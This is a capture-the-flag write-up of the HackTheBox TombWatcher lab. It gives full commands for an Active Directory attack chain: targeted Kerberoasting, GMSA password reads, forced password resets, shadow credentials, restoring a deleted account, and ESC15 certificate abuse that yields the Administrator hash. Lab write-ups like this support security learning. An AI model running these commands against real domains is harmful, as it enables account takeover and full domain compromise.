From User to Domain Admin Explained | HackTheBox TombWatcher Writeup

Introduction

From User to Domain Admin Explained | HackTheBox TombWatcher Writeup

Introduction

HackTheBox TombWatcher is an “assume-breach” Active Directory lab. We’ll run BloodHound to map an attack path that chains targeted Kerberoasting, a GMSA read, ForceChangePassword, and a shadow-credential. That path gives us access to the AD Recycle Bin, where we can recover an old ADCS admin account , then reuse that account to complete the ESC15 chain and escalate to Administrator.

Walkthrough Summary

Starting point / creds & target : HTB provides henry:H3nry_987TGV! as initial credentials; the host is a Windows DC (DC01.tombwatcher.htb) with typical AD/DC ports (LDAP, Kerberos, SMB, WinRM, etc.).

Recon → focus : nmap + web content confirmed an IIS site and AD services; author prioritises web/SMB/BloodHound and ADCS enumeration (AD attack surface).

BloodHound path / privilege abuse : BloodHound showed a path where sam has WriteOwner over john; the author sets sam as owner of john and grants GenericAll so sam can manipulate john (password, credentials, or Kerberoast).

Shadow-credential (cert-based) escalation to user shell : Using bloodyAD to change owner + certipy shadow auto the author injects a KeyCredential for john, authenticates with that cert, obtains a TGT and extracts John’s NT hash , then uses that hash to get an Evil-WinRM shell and capture user.txt.

AD Recycle Bin recovery → old ADCS admin : The environment has the AD Recycle Bin enabled; the author enumerates deleted objects, finds multiple cert_admin deleted entries in the OU=ADCS, and recovers the old cert_admin account.

ESC15 (CVE-2024–49019) abuse → domain compromise : The CA is vulnerable to ESC15 (aka “EKUwu” / CVE-2024–49019). By exploiting this the author crafts a malicious cert (injects Application Policies / agent attributes), obtains an Administrator certificate, authenticates with it (certipy) to get a TGT and the Administrator NT hash , then uses that hash to WinRM as Administrator and read root.txt.

Scanning and Enumeration

The nmap scanning result highlights several ports linked to a Windows Domain Controller , in this case, DC01 under the domain tombwatcher.htb.
Looks like there’s also a web server running, and WinRM is open , which means if I can land some valid credentials, I might just have remote access waiting for me.

Straight to what works on this box, we are given a set of credentials for the user Henry; henry / H3nry_987TGV!

I can use them to collect AD relationships using Bloodhound as shown below:

HackTheBox Certified Penetration Testing Specialist (CPTS) Study Notes (Unofficial)
The HackTheBox CPTS Study Notes V2 are an 817-page PDF guide authored by Motasem Hamdan. They are designed to help…

Active Directory Enumeration with BloodHound

First uplaod the zipped file from previous step, click on “Analysis” and run the query “shortest path to admin”

In BloodHound we’ll trace a relationship chain from our entry user, Henry, to JOHN , the first account that already has remote access.
The crucial pivot is Henry’s WriteSPN right on Alfred. That permission lets us register an SPN and trigger a Kerberos authentication that returns a crackable ticket hash , the technique commonly called targeted Kerberoasting.

Additionally:

BloodHound flags that Alfred holds AddSelf rights on the INFRASTRUCTURE group.
Next step: use BloodyAD to try and add Alfred into that group.

Active Directory Kerebroasting

Kerberoasting targets service accounts that have an SPN attached , because any authenticated user can request a TGS for that SPN. That ticket is encrypted with the service account’s password, so if the password’s weak you can crack it offline (tools like hashcat are often used).

Targeted Kerberoasting takes that a step further: you add an SPN to an account, force the Kerberos request, and then try to crack the returned ticket , ideally cleaning up the SPN afterward. In our case, Alfred is probably a regular user, not a service account, but with WriteSPN on Alfred I can make him “Kerberoastable” and check whether his password is weak.

HackTheBox Certified Bug Bounty Hunter Study Notes & Guide (Unofficial)
Welcome to the HTB Certified Bug Bounty Hunter (CBBH) Guide. Whether you're just starting your journey in ethical…

Using targetedKerberoast

Think of targetedKerberoast as a polished Python utility in the same family as tools like GetUserSPNs.py , it enumerates accounts with SPNs and prints out the Kerberoast-style hashes you’d use for offline cracking. What sets it apart: when it encounters accounts without an SPN, it will (carefully) add one using any available write access to the servicePrincipalName attribute, request the ticket to capture the hash, then remove the temporary SPN. That workflow ; add, capture, remove , is the essence of targeted Kerberoasting. You can run it against a whole domain, point it at a list of users, or target a single account from the CLI.

git clone https://github.com/ShutdownRepo/targetedKerberoast

If you see the above error on Linux ; Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great) , it almost always means your machine’s clock is out of sync with the Domain Controller. Fix it by syncing your host to the DC:

sudo ntpdate 10.129.201.165

Run that as root and retry the Kerberos request. Once clocks are aligned, the skew error should disappear.

Hash Cracking with John

Next logical step is to use “Johntheripper” to crack the hash of “Alfred” user.

Adding Alfred to the Infrastructure Group

Remember from previous analysis with BloodHound, we can now add Alfred to that group using bloodyAD tool:

git clone https://github.com/CravateRouge/bloodyAD 
pip3 install badldap
bloodyAD --host '10.129.201.165' -d 'tombwatcher.htb' -u 'alfred' -p 'basketball' add groupMember INFRASTRUCTURE alfred
Extras | Motasem Hamdan / MasterMinds Notes
AboutCyber Security Notes & CoursesContactconsultation@motasem-notes.netProduct's Legal & TOS InfoPlease read…

BloodHound shows the INFRASTRUCTURE group has ReadGMSAPassword rights on ANSIBLE_DEV$ (a Group Managed Service Account).

Group Managed Service Accounts (GMSAs) are special AD objects whose passwords are automatically rotated by Domain Controllers on a schedule (see the msDS-ManagedPasswordInterval attribute). They’re meant to let authorized machines fetch the current password and run services under that account without human intervention. In short: the DC manages the secret, not an admin.

If an attacker controls any principal that’s authorized to read a GMSA’s password, they can retrieve that credential and effectively impersonate the GMSA , a powerful way to escalate or persist if abused.

Next step is reading the password:

bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword

BloodHound shows ANSIBLE_DEV$ holds ForceChangePassword over the user SAM.
With the ANSIBLE_DEV$ credential (or hash) in hand, the next move is to attempt a password reset for SAM using those delegated rights , effectively replacing SAM’s credential with one we control.

So again with bloodyAD:

bloodyAD --host '10.129.10.232' -d 'tombwatcher.htb' -u 'ansible_dev$' -p :7bc5a56af89da4d3c03bc048055350f2 set password "sam" "Passw0rd"

Next with Sam’s password changed and with WriteOwner I can make Sam the owner of John’s account. Once Sam is owner, they can give themselves GenericAll on John , and from there it’s game over: Sam can reset John’s password, pull a shadow credential, or even run a targeted Kerberoast.

bloodyAD -d tombwatcher.htb -u sam -p 'Passw0rd' --host dc01.tombwatcher.htb set owner john sam

Giving Sam GenericAll:

bloodyAD -d tombwatcher.htb -u sam -p 'Passw0rd' --host dc01.tombwatcher.htb add genericAll john sam

Shadow credential attack with certipy

A shadow-credential attack abuses misconfigured or compromised Active Directory Certificate Services (AD CS) to plant forged certificates into a user object, giving attackers a persistent, password-less way to authenticate. By tampering with the msDS-KeyCredentialLink attribute and inserting a custom key/certificate, an adversary can effectively create a “shadow” credential that lets them log in as the victim without ever needing the user’s password or NTLM hash.

certipy shadow auto -target dc01.tombwatcher.htb -u sam -p 'Passw0rd' -account john

The above command will give the NT hash of john: ad9324754583e3e42b55aad4d3b8d2bf

Shell Access

Now getting shell as John using evil-winrm

Windows AD Privilege Escalation

BloodHound points to a clear escalation path: JOHN has GenericAll over the ADCS Organizational Unit.
That’s effectively full control over the ADCS objects in that OU , a high-impact privilege that turns JOHN into an ADCS admin for anything inside that container.

So we can execute the below command to gather more info:

There’s a single CA , tombwatcher-CA-1 , serving up 11 templates.
The Machine template stands out: I can enroll against it because I’ve already compromised ANSIBLE_DEV$, which sits in Domain Computers. Tools like certipy flag that this could be leveraged in ESC2/ESC3 scenarios , useful when combined with other weaknesses, but not a standalone exploit. The User template shows the same caveat, and I can reach it thanks to Domain Users access. One oddity: an object is displayed by SID instead of a name, which usually means certipy couldn’t resolve that account’s information. This may mean that the object or account has been deleted.

Checking Recycle Bin

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent

We’ll hunt down the deleted account whose SID matches the one listed in the certificate template permissions , that points to cert_admin. Crucially, cert_admin used to live in the ADCS OU, which we already control.

That gives us a clean play: restore the deleted account, reset its password, and reuse those credentials to push the ADCS chain further.

With GenericAll on the whole OU, John essentially has carte blanche over cert_admin , he could rebuild, reassign, or otherwise seize the account in multiple ways. Since the account’s already deleted, the cleanest play is to restore it and reset its credentials so those restored privileges can be reused in the ADCS chain.

Restore-ADObject -Identity "CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb"

Set-ADAccountPassword -Identity "cert_admin" -Reset -NewPassword (ConvertTo-SecureString "Passw0rd" -AsPlainText -Force)

The WebServer template , previously harmless , now shows up as exploitable, and it points to CVE-2024–49019.
The notes say we must follow Scenario B: it’s the path that yields a usable foothold here. If we accidentally take Scenario A, we’ll just end up with an ldap_shell ; interesting, but useless for our goals. So we stick to Scenario B and move deliberately.

Cyber Security Certification Study Notes | The MasterMind Notes / Motasem Hamdan
The official Cyber Security Certification Study Notes collection for The MasterMind Notes / Motasem Hamdan. Shop…

This time I won’t give the certificate authentication rights , I’ll flip the agent bit instead. That tweak effectively completes the ESC3 chain. With the resulting PFX in hand I can then use it to request a ticket as Administrator, leveraging a template designed for user logins.

Essentially, we should follow below steps:

1-Request a cert from the vulnerable WebServer template using the Certificate Request Agent policy.

2-Use that agent cert to request a second certificate on behalf of the domain admin.

3-Authenticate with the newly obtained certificate , and that’s how we end up with the hash.

certipy req -u cert_admin -p 'Passw0rd' -dc-ip 10.129.10.232 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'

certipy req -u cert_admin -p 'Passw0rd' -dc-ip 10.129.10.232 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'

To get the hash of the admin we authenticate with the certificate

certipy auth -pfx administrator.pfx -dc-ip 10.129.10.232

Output:

[*] Certificate identities: 
[*]     SAN UPN: 'Administrator@tombwatcher.htb' 
[*]     Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500' 
[*] Using principal: 'administrator@tombwatcher.htb' 
[*] Trying to get TGT... 
[*] Got TGT 
[*] Saving credential cache to 'administrator.ccache' 
[*] Wrote credential cache to 'administrator.ccache' 
[*] Trying to retrieve NT hash for 'administrator' 
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

Lastly:

That’s it !

Short Video